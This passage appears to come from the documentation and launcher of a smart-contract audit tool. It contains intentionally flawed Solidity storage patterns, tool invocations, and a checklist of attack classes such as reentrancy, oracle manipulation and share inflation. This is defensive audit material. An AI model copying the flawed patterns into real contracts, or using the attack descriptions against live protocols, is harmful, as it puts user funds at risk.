use namespaced storage (EIP-7201) — NOT sequential slots - [ ] **UG-14**: No two facets write to the same storage namespace - [ ] **UG-15**: Facet removal doesn't orphan storage (data still accessible after re-adding) - [ ] **UG-16**: `diamondCut` validates no selector collisions between facets --- ## Module 5: Common Storage Bugs ### Bug SL-01: Slot Collision Between Proxy and Implementation ```solidity // ❌ WRONG: Both start at slot 0 contract Proxy { address implementation; // Slot 0 } contract Implementation { address owner; // Slot 0 — COLLISION with proxy's implementation } // ✅ RIGHT: EIP-1967 randomized slots contract Proxy { // implementation stored at EIP-1967 slot, not sequential } ``` ### Bug SL-02: Storage Gap Not Updated on Upgrade ```solidity // V1: gap = 50 uint256[50] __gap; // V2 WRONG: Added 2 variables but gap still 50 uint256 newVar1; uint256 newVar2; uint256[50] __gap; // Should be [48]! // V2 RIGHT: uint256 newVar1; uint256 newVar2; uint256[48] __gap; // Reduced by 2 ``` ### Bug SL-03: Inheritance Order Change ```solidity // V1: A, B → A at slot 0, B after A contract V1 is A, B { } // V2 WRONG: B, A → B at slot 0, A after B — ALL slots shifted! contract V2 is B, A { } ``` ### Bug SL-04: Immutable in Upgradeable ```solidity // ❌ WRONG: immutable lives in bytecode — proxy sees implementation's value contract VaultImpl { address immutable ORACLE; // Hardcoded in implementation bytecode } // Proxy delegates to VaultImpl but ORACLE was set during implementation deploy // not during proxy deploy — users get wrong oracle // ✅ RIGHT: Use regular state variable or constructor parameter ``` ### Bug SL-05: Assembly sstore to Wrong Slot ```solidity // ❌ WRONG: Hardcoded slot assumption assembly { sstore(0, newOwner) } // Assumes owner is at slot 0 // ✅ RIGHT: Compute slot properly bytes32 slot = keccak256("owner.storage.slot"); assembly { sstore(slot, newOwner) } ``` --- ## Integration with VeerSkills Pipeline **Phase 2 (MAP)**: Run `forge inspect` and `slither --print variable-order` for all contracts. Document storage layout in `notes/state/`. **Phase 3 (HUNT)**: For any proxy/upgradeable contract: 1. Run Module 4 checklist (UG-01 through UG-16) 2. Compare V1/V2 layouts if upgrade exists 3. Check all assembly `sstore`/`sload` against computed slots **Phase 4 (ATTACK)**: For any storage layout finding: 1. Verify slot computation with `cast storage` against deployed contract 2. Demonstrate collision/corruption with concrete values 3. Show impact: what state gets corrupted and what's the exploit path ## references/tools-integration.md # Tools Integration Reference Configuration and invocation reference for all static analysis, dynamic analysis, formal verification, and coverage tools used by VeerSkills. --- ## Static Analysis Tools ### Slither (via MCP) **Invocation:** ``` Call: mcp__sc-auditor__run-slither Args: { "rootDir": "." } ``` **Key Detectors:** | Detector | Severity | What It Finds | |----------|----------|---------------| | `reentrancy-eth` | High | ETH-based reentrancy | | `reentrancy-no-eth` | Medium | Token-based reentrancy | | `reentrancy-benign` | Low | Non-exploitable reentrancy patterns | | `uninitialized-state` | High | Uninitialized state variables | | `arbitrary-send-eth` | High | Unrestricted ETH transfer | | `controlled-delegatecall` | High | User-controlled delegatecall | | `suicidal` | High | Unprotected selfdestruct | | `unprotected-upgrade` | High | Missing access control on upgrade | | `unchecked-transfer` | Medium | Unchecked ERC-20 transfer return | | `divide-before-multiply` | Medium | Precision loss in division | | `tx-origin` | Medium | Authentication via tx.origin | | `missing-zero-check` | Low | Missing zero-address validation | **Printers (for Phase 2 MAP):** ```bash # State variable inventory slither . --print vars-and-auth 2>/dev/null # Function summary slither . --print function-summary 2>/dev/null # Inheritance graph slither . --print inheritance-graph 2>/dev/null # Call graph slither . --print call-graph 2>/dev/null # Storage layout (for upgrade analysis) slither . --print variable-order 2>/dev/null ``` ### Aderyn (via MCP) **Invocation:** ``` Call: mcp__sc-auditor__run-aderyn Args: { "rootDir": "." } ``` **Key Detectors:** | Detector | Severity | What It Finds | |----------|----------|---------------| | `centralization-risk` | High | Single point of failure in admin | | `unsafe-oz-access-control` | High | OpenZeppelin AccessControl misuse | | `solmate-auth-not-safe` | High | Solmate auth vulnerabilities | | `push-0-opcode` | Medium | PUSH0 incompatibility on L2s | | `unsafe-erc20-functions` | Medium | Direct ERC-20 calls without SafeERC20 | | `ecrecover-no-check` | Medium | ecrecover without zero-address check | | `weak-randomness` | Medium | Predictable randomness sources | | `missing-events` | Low | State changes without events | | `dead-code` | Low | Unreachable code | ### 4naly3er (CLI) ```bash # Run 4naly3er for gas optimizations and common patterns cd /path/to/project python3 4naly3er.py ./src ``` ### Semgrep (Custom Rules) ```bash # Run Solidity-specific rules semgrep --config "p/solidity" ./src/ # Common custom rules semgrep -e 'tx.origin' --lang solidity ./src/ semgrep -e 'selfdestruct' --lang solidity ./src/ semgrep -e 'delegatecall' --lang solidity ./src/ ``` --- ## Dynamic Analysis / Fuzzing Tools ### Foundry Fuzz Testing ```bash # Stateless fuzz testing forge test --match-path "test/fuzz/*" --fuzz-runs 10000 -vvv # Invariant (stateful) fuzz testing forge test --match-path "test/invariant/*" --fuzz-runs 1000 -vvv # Attack-specific fuzzing forge test --match-path "test/fuzz/attacks/*" --fuzz-runs 50000 -vvv # Edge case fuzzing forge test --match-path "test/fuzz/edge/*" --fuzz-runs 20000 -vvv ``` **foundry.toml configuration for fuzzing:** ```toml [fuzz] runs = 10000 max_test_rejects = 65536 seed = "0x0" dictionary_weight = 40 [invariant] runs = 1000 depth = 100 fail_on_revert = false call_override = false dictionary_weight = 80 ``` ### Echidna ```bash # Installation check echidna --version # Run with config echidna-test . --config echidna.config.yaml # Quick run echidna-test . --test-limit 10000 --seq-len 50 # Deep run (beast mode) echidna-test . --test-limit 100000 --seq-len 100 # With corpus directory for coverage tracking echidna-test . --test-limit 100000 --corpus-dir corpus/ ``` **echidna.config.yaml:** ```yaml testMode: assertion testLimit: 100000 seqLen: 100 corpusDir: corpus deployer: "0x1000000000000000000000000000000000000000" sender: - "0x2000000000000000000000000000000000000000" - "0x3000000000000000000000000000000000000000" - "0x4000000000000000000000000000000000000000" shrinkLimit: 5000 multi-abi: true ``` ### Medusa ```bash # Run Medusa fuzzer medusa fuzz --target . --test-limit 100000 # With config medusa fuzz --config medusa.json ``` **medusa.json:** ```json { "fuzzing": { "targetContracts": ["Target"], "maxBlockDelay": 60480, "maxBlockNumberDelay": 1000, "testLimit": 100000, "callSequenceLength": 100, "corpusDirectory": "medusa-corpus" } } ``` ### ItyFuzz ```bash # Run ItyFuzz for advanced coverage ityfuzz evm -t ./src/ --onchain-block-number latest ``` --- ## Formal Verification Tools ### Certora (CVL Specs) ```bash # Run Certora verification certoraRun certora/conf/verify.conf # Example conf certoraRun src/Vault.sol \ --verify Vault:certora/specs/VaultSpec.spec \ --rule solvencyInvariant accessControlRule \ --msg "Vault safety verification" ``` **Example Certora Spec:** ```cvl // VaultSpec.spec methods { function totalAssets() external returns (uint256) envfree; function totalSupply() external returns (uint256) envfree; function balanceOf(address) external returns (uint256) envfree; } // SAFETY: Solvency invariant invariant solvencyInvariant() totalAssets() >= totalSupply() // ACCESS CONTROL: Only owner can set fee rule onlyOwnerCanSetFee(env e, uint256 newFee) { address caller = e.msg.sender; address currentOwner = owner(); setFee(e, newFee); assert caller == currentOwner, "Non-owner changed fee"; } // DEPOSIT CORRECTNESS: Shares proportional to assets rule depositCorrectness(env e, uint256 assets, address receiver) { uint256 totalSupplyBefore = totalSupply(); uint256 totalAssetsBefore = totalAssets(); uint256 shares = deposit(e, assets, receiver); assert shares <= assets * totalSupplyBefore / totalAssetsBefore + 1, "Shares exceed proportional amount"; } ``` ### Halmos (Symbolic Execution) ```bash # Run Halmos halmos --contract VaultTest --function test_solvency --solver-timeout-smt 600 # With specific test targets halmos --match-test "check_" --solver-timeout-smt 300 ``` **Halmos Test Pattern:** ```solidity function check_solvency(uint256 depositAmount) public { vm.assume(depositAmount > 0 && depositAmount < type(uint128).max); vault.deposit(depositAmount, address(this)); assert(vault.totalAssets() >= vault.totalSupply()); } ``` ### Scribble (Annotation-Based) ```bash # Annotate and instrument scribble --arm src/Vault.sol -o src/Vault.instrumented.sol # Run tests on instrumented contracts forge test --match-path "test/scribble/*" ``` **Scribble Annotations:** ```solidity /// #if_succeeds {:msg "solvency"} totalAssets() >= totalSupply(); function deposit(uint256 assets, address receiver) public returns (uint256 shares) { // ... } ``` --- ## Coverage Tools (Module 11: Code Coverage Analysis) ### Forge Coverage ```bash # Summary report forge coverage --report summary # LCOV report (for visualization) forge coverage --report lcov --report summary # Filter to specific contracts forge coverage --match-path "test/*" --report summary # Coverage for attack tests only forge coverage --match-path "test/attacks/*" --report summary ``` **Coverage Thresholds:** | Contract Type | Line | Branch | Function | |--------------|------|--------|----------| | Critical (vault, core) | 100% | 95%+ | 100% | | Core (helpers, libs) | 95%+ | 90%+ | 100% | | Overall | 95%+ | 90%+ | 100% | ### Gambit (Mutation Testing) ```bash # Generate mutants gambit mutate --solc-remappings "@openzeppelin=node_modules/@openzeppelin" src/Vault.sol # Run tests against mutants gambit test --timeout 30 ``` --- ## Solodit / Finding Database (via MCP) ### Search for Similar Vulnerabilities ``` # Via claudit MCP (preferred — more features) Call: mcp__claudit__search_findings Args: { "keywords": "oracle manipulation stale price", "severity": ["HIGH", "CRITICAL"], "tags": ["Oracle"], "page_size": 10, "sort_by": "Quality" } # Via sc-auditor MCP Call: mcp__sc-auditor__search_findings Args: { "query": "oracle manipulation stale price", "severity": "High", "limit": 10 } ``` ### Get Finding Details ``` Call: mcp__claudit__get_finding Args: { "identifier": "64195" } ``` ### Audit Checklist ``` # Full checklist Call: mcp__sc-auditor__get_checklist Args: {} # Category-specific Call: mcp__sc-auditor__get_checklist Args: { "category": "Reentrancy" } ``` --- ## Tool Execution Order ### Phase 1 (RECON) — Automated, Parallel: 1. `mcp__sc-auditor__run-slither` + `mcp__sc-auditor__run-aderyn` (parallel) 2. `mcp__sc-auditor__get_checklist` (parallel with above) 3. `bash: find` for scope discovery (parallel) ### Phase 3 (HUNT) — Per Function: 1. Review Slither/Aderyn results for specific function 2. `mcp__sc-auditor__get_checklist` with category filter 3. `mcp__claudit__search_findings` for similar real-world bugs ### Phase 5 (VALIDATE) — Per Finding: 1. Write PoC using poc-templates 2. `forge test --match-test test_exploit -vvv` 3. `mcp__claudit__search_findings` for supporting evidence ### Phase 6 (FUZZ) — Deep/Beast Only: 1. `forge test --match-path "test/fuzz/*" --fuzz-runs 10000` 2. `forge coverage --report summary` 3. `echidna-test . --test-limit 100000` (beast mode) ## references/vulnerability-matrix.md # Vulnerability Coverage Matrix Complete vulnerability class coverage: **8 classes × 5 checks = 40 mandatory detection points**. This matrix implements **Phase 3.D: Function-Level Systematic Review** and **Module 12: Vulnerability Class Coverage Matrix**. For every function under audit, sweep ALL applicable checks below. Mark each ✅ (checked + safe), ⚠️ (suspicious — escalate to ATTACK), or ❌ (confirmed vulnerable). --- ## RE: Reentrancy (5 checks) ### RE-1: External Call After State Read (Classic Reentrancy) - **Pattern**: `token.transfer()`, `.call()`, `.send()` BEFORE state variable updates - **Grep**: `\.call\{`, `\.transfer(`, `\.send(`, `safeTransfer(`, `safeTransferFrom(` - **Detection**: Trace execution order — any external call before ALL related state writes? - **FP conditions**: ReentrancyGuard present on same function, OR checks-effects-interactions strictly followed, OR no state to corrupt - **Severity default**: HIGH (ETH drain) / CRITICAL (full vault drain) ### RE-2: Cross-Function Reentrancy - **Pattern**: Function A makes external call, reenters Function B which reads stale state from A - **Grep**: Look for shared state between public functions with external calls - **Detection**: Can attacker call Function B during Function A's external call, reading inconsistent state? - **FP conditions**: Protocol-wide reentrancy guard (not just per-function), OR no shared state between entry points - **Severity default**: HIGH ### RE-3: Cross-Contract Reentrancy - **Pattern**: Contract A calls Contract B, attacker reenters Contract A via callback from B - **Grep**: `safeTransferFrom(`, `onERC721Received`, `tokensReceived`, `onFlashLoan` - **Detection**: Does Protocol use multiple contracts sharing state? Can callback from one reenter another? - **FP conditions**: Protocol-level reentrancy lock across all contracts - **Severity default**: HIGH ### RE-4: Read-Only Reentrancy - **Pattern**: `view` function reads state that is mid-update during an external call in another function - **Grep**: Functions calling `balanceOf(address(this))`, `totalSupply()` during pending state - **Detection**: Can a view function return incorrect values during a reentrant callback? - **FP conditions**: View function uses internal accounting (not raw balances), OR no external integrations depend on it - **Severity default**: MEDIUM-HIGH ### RE-5: ERC-777/ERC-721/ERC-1155 Callback Reentrancy - **Pattern**: `safeTransfer`, `safeMint` triggers receiver callback before state completion - **Grep**: `_safeMint(`, `safeTransferFrom(`, `IERC777Recipient`, `onERC1155Received` - **Detection**: Does the protocol accept arbitrary tokens that could have callbacks? - **FP conditions**: Only handles known token contracts with no callbacks - **Severity default**: HIGH --- ## AC: Access Control (5 checks) ### AC-1: Missing/Weak Access Modifiers - **Pattern**: Public/external functions performing privileged operations without modifiers - **Grep**: `function .* external` without `onlyOwner`, `onlyRole`, `require(msg.sender` - **Detection**: Can anyone call admin functions? (initialize, set fees, pause, upgrade) - **FP conditions**: Function is intentionally permissionless, OR access control in parent contract - **Severity default**: CRITICAL (if fund-draining), HIGH (if state corruption) ### AC-2: tx.origin Authentication - **Pattern**: Using `tx.origin` instead of `msg.sender` for authorization - **Grep**: `tx.origin` - **Detection**: Can phishing contract trick user into calling through malicious intermediary? - **FP conditions**: `tx.origin == msg.sender` check (ensures no intermediary), OR used only for meta-tx relayer validation - **Severity default**: HIGH ### AC-3: Unprotected Initialize / Constructor - **Pattern**: `initialize()` callable by anyone, OR implementation contract left uninitialized - **Grep**: `function initialize`, `initializer`, `_disableInitializers` - **Detection**: Can attacker call `initialize()` on implementation contract directly? Is `_disableInitializers()` in constructor? - **FP conditions**: `initializer` modifier present + `_disableInitializers()` in implementation constructor - **Severity default**: CRITICAL ### AC-4: Role-Based Access Missing Checks - **Pattern**: Functions check one role but should check another, or roles are over-permissioned - **Grep**: `hasRole(`, `grantRole(`, `revokeRole(`, `AccessControl` - **Detection**: Can a role do more than intended? Are role grants protected with timelock/multi-sig? - **FP conditions**: Roles correctly scoped with minimal privilege, timelock on role changes - **Severity default**: MEDIUM-HIGH ### AC-5: Signature Replay / Missing Nonce-Chain-Deadline - **Pattern**: EIP-712 or ECDSA signatures without nonce, chainId, or deadline - **Grep**: `ecrecover`, `ECDSA.recover`, `EIP712`, `permit(`, `_useNonce` - **Detection**: Can signature be replayed on another chain, or after deadline, or multiple times? - **FP conditions**: Nonce incremented + chainId in domain separator + deadline checked - **Severity default**: HIGH (if permits fund movement) --- ## AR: Arithmetic (5 checks) ### AR-1: Overflow/Underflow - **Pattern**: Arithmetic in `unchecked` blocks, OR Solidity <0.8.0 without SafeMath - **Grep**: `unchecked {`, `pragma solidity ^0.7`, `pragma solidity ^0.6`, `SafeMath` - **Detection**: Can attacker cause overflow in unchecked block? Is SafeMath used everywhere in <0.8? - **FP conditions**: Solidity ≥0.8.0 with no `unchecked`, OR provably bounded values - **Severity default**: HIGH ### AR-2: Division Before Multiplication / Precision Loss - **Pattern**: `(a / b) * c` instead of `(a * c) / b` - **Grep**: Look for division followed by multiplication in same expression - **Detection**: Does order of operations cause truncation? Use concrete small values to test. - **FP conditions**: Values are always large enough that truncation is insignificant, OR `mulDiv` with explicit rounding - **Severity default**: MEDIUM ### AR-3: Rounding Direction Exploitation - **Pattern**: Share/token math rounding in wrong direction (favoring attacker over protocol) - **Grep**: `mulDiv(`, `/ totalSupply`, `* totalShares`, `previewDeposit`, `previewRedeem` - **Detection**: Do deposits round DOWN shares (favor vault)? Do withdrawals round UP assets (favor vault)? - **FP conditions**: Explicit rounding direction parameters (e.g., `Math.Rounding.Up`), virtual share offset - **Severity default**: MEDIUM-HIGH (first depositor inflation = CRITICAL) ### AR-4: Unsafe Downcasting / Truncation - **Pattern**: Casting uint256 to uint128/uint96/uint64 without bounds checking - **Grep**: `uint128(`, `uint96(`, `uint64(`, `int128(`, `SafeCast` - **Detection**: Can value exceed target type's max? Use `type(uint128).max` as test value. - **FP conditions**: `SafeCast` library used, OR value provably bounded below type max - **Severity default**: MEDIUM-HIGH ### AR-5: Division by Zero - **Pattern**: Division where denominator could be zero (empty pool, no supply, no liquidity) - **Grep**: Look for division operations, trace denominator source - **Detection**: Can totalSupply, totalAssets, or liquidity be zero when division occurs? - **FP conditions**: Require/assert prevents zero denominator, OR minimum liquidity locked - **Severity default**: MEDIUM (DoS) / HIGH (if exploitable for value extraction) --- ## OR: Oracle (5 checks) ### OR-1: Spot Price Manipulation - **Pattern**: Using `getReserves()`, `balanceOf()`, or single-block TWAP for pricing - **Grep**: `getReserves(`, `balanceOf(address(this))`, `slot0(`, `sqrtPriceX96` - **Detection**: Can flash loan manipulate reserves/balances within single transaction? - **FP conditions**: Uses Chainlink/external oracle, OR TWAP window > 30 minutes - **Severity default**: CRITICAL ### OR-2: Stale Price — Missing Freshness Check - **Pattern**: Chainlink `latestRoundData()` without checking `updatedAt` timestamp - **Grep**: `latestRoundData(`, `updatedAt`, `heartbeat`, `sequencerUptimeFeed` - **Detection**: Is `updatedAt` checked against max staleness threshold? Is sequencer uptime checked on L2? - **FP conditions**: `require(block.timestamp - updatedAt < HEARTBEAT)` present + reasonable heartbeat value - **Severity default**: MEDIUM-HIGH ### OR-3: Missing Fallback Oracle - **Pattern**: Single oracle dependency with no fallback or circuit breaker - **Grep**: `priceFeed`, `getPrice(`, `getLatestPrice(`, `oracle` - **Detection**: What happens if primary oracle returns 0, reverts, or returns extreme value? - **FP conditions**: Fallback oracle configured, OR circuit breaker pauses protocol on oracle failure - **Severity default**: MEDIUM ### OR-4: Oracle Deviation / Heartbeat Mismatch - **Pattern**: Using oracle with wrong heartbeat assumption for the specific asset - **Grep**: `HEARTBEAT`, `MAX_DELAY`, `STALE_THRESHOLD` - **Detection**: Is the staleness threshold appropriate for the specific Chainlink feed? (ETH/USD = 1hr, lesser tokens = 24hr+) - **FP conditions**: Heartbeat matches actual Chainlink feed configuration for the specific asset pair - **Severity default**: MEDIUM ### OR-5: Price Manipulation via Donation - **Pattern**: Price derived from `balanceOf(address(this))` which can be inflated via direct transfer - **Grep**: `balanceOf(address(this))`, `address(this).balance` - **Detection**: Can attacker send tokens directly to contract to inflate/deflate computed price? - **FP conditions**: Internal accounting tracks deposits/withdrawals separately from raw balance - **Severity default**: HIGH-CRITICAL --- ## DO: Denial of Service (5 checks) ### DO-1: Unbounded Loop Gas Exhaustion - **Pattern**: Loop iterating over growing array or mapping with no cap - **Grep**: `for (`, `while (`, `.length`, `push(` - **Detection**: Can array grow without bound? Will gas exceed block limit at scale? - **FP conditions**: Array has max size cap, OR paginated processing, OR privileged-only additions - **Severity default**: MEDIUM-HIGH ### DO-2: External Call Failure Blocking - **Pattern**: Loop with external calls where one failure blocks all operations - **Grep**: Loops containing `.call(`, `.transfer(`, `safeTransfer(` - **Detection**: If one recipient reverts, does entire batch fail? (e.g., reward distribution) - **FP conditions**: Try/catch around individual calls, OR pull-over-push pattern - **Severity default**: MEDIUM ### DO-3: Block Gas Limit DoS - **Pattern**: Operation cost grows linearly with user count or data size - **Grep**: Functions iterating over `mapping` keys, `EnumerableSet`, unbounded arrays - **Detection**: At what user count does the function exceed block gas limit? - **FP conditions**: Off-chain computation with on-chain verification, OR bounded iteration - **Severity default**: MEDIUM ### DO-4: Griefing via Dust/Spam - **Pattern**: Attacker can create many small positions / proposals / entries cheaply - **Grep**: No minimum amount checks, low-cost state creation functions - **Detection**: Can attacker spam to increase gas costs for other users or admins? - **FP conditions**: Minimum deposit/stake requirements, OR creation fees that scale with gas cost - **Severity default**: LOW-MEDIUM ### DO-5: Missing Emergency Withdrawal - **Pattern**: No emergency function to rescue stuck funds if protocol enters bad state - **Grep**: `emergencyWithdraw`, `rescue`, `sweep`, `recover` - **Detection**: If protocol pauses or enters unexpected state, can users still withdraw? - **FP conditions**: Emergency withdrawal mechanism present and tested, OR timelock auto-release - **Severity default**: MEDIUM --- ## EC: Economic (5 checks) ### EC-1: Flash Loan Attack Amplification - **Pattern**: Any profitable exploit that scales with capital (balance-based calculations) - **Grep**: `flashLoan(`, `balanceOf(`, `totalAssets(`, `getReserves(` - **Detection**: Can flash loan amplify a rounding error, price manipulation, or accounting bug to arbitrary scale? - **FP conditions**: Protocol uses snapshot-based or oracle-based pricing, not spot balances - **Severity default**: CRITICAL ### EC-2: First Depositor / Share Inflation - **Pattern**: ERC-4626 vault where first depositor controls share price - **Grep**: `deposit(`, `mint(`, `totalSupply`, `totalAssets`, `convertToShares` - **Detection**: Can attacker: (1) deposit 1 wei, (2) donate tokens, (3) subsequent depositors get 0 shares? - **FP conditions**: Virtual share offset (`_decimalsOffset()`), dead shares, minimum deposit, OR initial locked liquidity - **Severity default**: CRITICAL ### EC-3: MEV / Sandwich Vulnerability - **Pattern**: Swap or large state change without slippage protection or deadline - **Grep**: `swap(`, `amountOutMin`, `deadline`, `minReturn`, `slippage` - **Detection**: Can MEV bot sandwich the transaction for profit? - **FP conditions**: `minAmountOut` enforced + `deadline` checked + reasonable slippage bounds - **Severity default**: MEDIUM-HIGH ### EC-4: Fee-on-Transfer Token Incompatibility - **Pattern**: Code assumes `transfer(amount)` credits exactly `amount` to recipient - **Grep**: `transferFrom(`, `balanceOf(` before/after pattern - **Detection**: Does code use balance-before/after pattern? Or assumes transferred amount == received amount? - **FP conditions**: Before/after balance check pattern used, OR token whitelist excluding FoT tokens - **Severity default**: MEDIUM-HIGH ### EC-5: Incentive Misalignment / Free Option - **Pattern**: User can take action with no risk but potential reward (free option problem) - **Grep**: Analyze economic flow — can users profit without risk their own capital? - **Detection**: Can users exploit timing, optionality, or information asymmetry? - **FP conditions**: Appropriate fees, commitment mechanisms, or slashing conditions - **Severity default**: MEDIUM --- ## UP: Upgrade / Proxy (5 checks) ### UP-1: Storage Layout Collision - **Pattern**: New storage variables inserted in middle of layout between upgrades - **Grep**: `__gap`, `ERC1967`, `StorageSlot`, `_IMPLEMENTATION_SLOT` - **Detection**: Compare storage layouts between proxy and implementation. Are `__gap` arrays present in all inherited contracts? - **FP conditions**: Consistent `__gap` usage, unstructured storage for critical slots, storage layout verification tool passes - **Severity default**: CRITICAL ### UP-2: Missing _disableInitializers - **Pattern**: Implementation contract can be initialized by anyone - **Grep**: `constructor()`, `_disableInitializers()`, `initializer` - **Detection**: Does implementation constructor call `_disableInitializers()`? - **FP conditions**: `_disableInitializers()` in constructor of implementation - **Severity default**: CRITICAL ### UP-3: UUPS Authorization Bypass - **Pattern**: `_authorizeUpgrade()` without proper access control - **Grep**: `_authorizeUpgrade`, `UUPSUpgradeable`, `upgradeTo(` - **Detection**: Is `_authorizeUpgrade` properly restricted to owner/governance? - **FP conditions**: `onlyOwner` or `hasRole(UPGRADER_ROLE)` on `_authorizeUpgrade` - **Severity default**: CRITICAL ### UP-4: Initialization Front-Running - **Pattern**: Gap between deployment and initialization allowing attacker to initialize - **Grep**: `initialize(`, `initializer`, proxy deployment scripts - **Detection**: Is initialization atomic with deployment? Can attacker initialize between deploy and init? - **FP conditions**: Deploy + initialize in same transaction, OR CREATE2 deterministic deployment - **Severity default**: HIGH ### UP-5: State Migration Errors - **Pattern**: Upgrade changes state variable semantics without proper migration - **Grep**: Compare old vs new implementation state variable types and meanings - **Detection**: Do existing values make sense under new interpretation? - **FP conditions**: Migration function handles all state transitions, testing verifies post-migration state - **Severity default**: HIGH --- ## CO: Composability (5 checks) ### CO-1: Non-Standard Token Behavior - **Pattern**: Code assumes standard ERC-20 but handles arbitrary tokens - **Grep**: `IERC20(`, `safeTransfer`, `approve(`, token whitelist - **Detection**: Does code handle: FoT tokens, rebasing tokens, tokens returning false, tokens with no return value, tokens with >18 decimals, tokens with 0 decimals, tokens with blocklists? - **FP conditions**: Strict token whitelist, OR comprehensive before/after balance checks + SafeERC20 - **Severity default**: MEDIUM ### CO-2: External Protocol Risk - **Pattern**: Hard dependency on external protocol that could pause, upgrade, or fail - **Grep**: External contract addresses, `interface I{External}`, cross-protocol calls - **Detection**: What happens if external protocol: pauses? Upgrades and changes interface? Returns unexpected values? Gets exploited? - **FP conditions**: Fallback mechanism, circuit breaker, or graceful degradation implemented - **Severity default**: MEDIUM ### CO-3: Cross-Chain Message Validation - **Pattern**: Bridge or cross-chain message without proper source validation - **Grep**: `lzReceive`, `onMessageReceived`, `sgReceive`, `xDomainMessageSender` - **Detection**: Is message source (chain, sender, nonce) fully validated before processing? - **FP conditions**: Source chain + sender + nonce all validated, replay protection present - **Severity default**: CRITICAL ### CO-4: Callback / Hook Exploitation - **Pattern**: Protocol implements callbacks that change state in unexpected ways - **Grep**: `onFlashLoan`, `uniswapV3SwapCallback`, `onERC721Received`, `fallback()` - **Detection**: Can callback be triggered by attacker to manipulate protocol state mid-operation? - **FP conditions**: Callback validates caller, state changes in callback are accounted for - **Severity default**: HIGH ### CO-5: Integration Assumption Mismatch - **Pattern**: Protocol assumes external contract behavior that isn't guaranteed - **Grep**: Hard-coded decimals, assumed return types, assumed gas limits - **Detection**: Does code assume: 18 decimals? Standard return values? Specific gas costs? Token approval semantics? - **FP conditions**: Dynamic decimals handling, try/catch for external calls, configurable parameters - **Severity default**: MEDIUM --- ## Coverage Tracking Template ``` Audit: [Protocol Name] | Date: [YYYY-MM-DD] | Auditor: VeerSkills RE: [ ] RE-1 [ ] RE-2 [ ] RE-3 [ ] RE-4 [ ] RE-5 AC: [ ] AC-1 [ ] AC-2 [ ] AC-3 [ ] AC-4 [ ] AC-5 AR: [ ] AR-1 [ ] AR-2 [ ] AR-3 [ ] AR-4 [ ] AR-5 OR: [ ] OR-1 [ ] OR-2 [ ] OR-3 [ ] OR-4 [ ] OR-5 DO: [ ] DO-1 [ ] DO-2 [ ] DO-3 [ ] DO-4 [ ] DO-5 EC: [ ] EC-1 [ ] EC-2 [ ] EC-3 [ ] EC-4 [ ] EC-5 UP: [ ] UP-1 [ ] UP-2 [ ] UP-3 [ ] UP-4 [ ] UP-5 CO: [ ] CO-1 [ ] CO-2 [ ] CO-3 [ ] CO-4 [ ] CO-5 Total: 0/40 checks completed ``` ## veerskills.bat ``` ``` ## veerskills.py ```python #!/usr/bin/env python3 """ VeerSkills CLI Launcher Provides an easy command-line interface to launch the VeerSkills smart contract audit engine. """ import sys import os import subprocess import argparse def ensure_claude_cli(): """Ensure the claude CLI is installed.""" if not shutil.which("claude"): print("Error: The 'claude' CLI tool is not installed or not in PATH.") print("Install it via npm: npm i -g @anthropic-ai/claude-code") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="VeerSkills - Ultimate Smart Contract Security Audit") parser.add_argument("target", nargs="*", help="Files, directories, or additional arguments for the audit") parser.add_argument("--mode", choices=["quick", "standard", "deep", "beast"], default="standard", help="Audit mode. quick(15-30m), standard(2-4h), deep(4-8h), beast(8+h).") parser.add_argument("--continue", "-c", dest="resume", action="store_true", help="Resume the last audit session from ./veerskills-outputs/") args = parser.parse_args() script_dir = os.path.dirname(os.path.abspath(__file__)) skill_path = os.path.join(script_dir, "SKILL.md") if not os.path.exists(skill_path): print(f"Error: Could not find SKILL.md at {skill_path}") sys.exit(1) prompt_args = " ".join(args.target) if args.resume: prompt_args += " --continue" print(f"=====================================================================") print(f" Launching VeerSkills Engine") print(f" Mode: {args.mode.upper()}") print(f" Target: {prompt_args if prompt_args.strip() else 'Current Directory'}") print(f"=====================================================================") cmd = [ "claude", "-p", skill_path, f"Follow the VeerSkills pipeline perfectly. Run a {args.mode} audit on: {prompt_args}" ] try: if sys.platform == "win32": subprocess.run(" ".join(cmd), shell=True, check=True) else: subprocess.run(cmd, check=True) except subprocess.CalledProcessError: print("VeerSkills execution finished with an error or was interrupted.") except KeyboardInterrupt: print("\nAudit cancelled by user.") sys.exit(0) if __name__ == "__main__": import shutil ensure_claude_cli() main() ``` ## veerskills.sh ```bash ```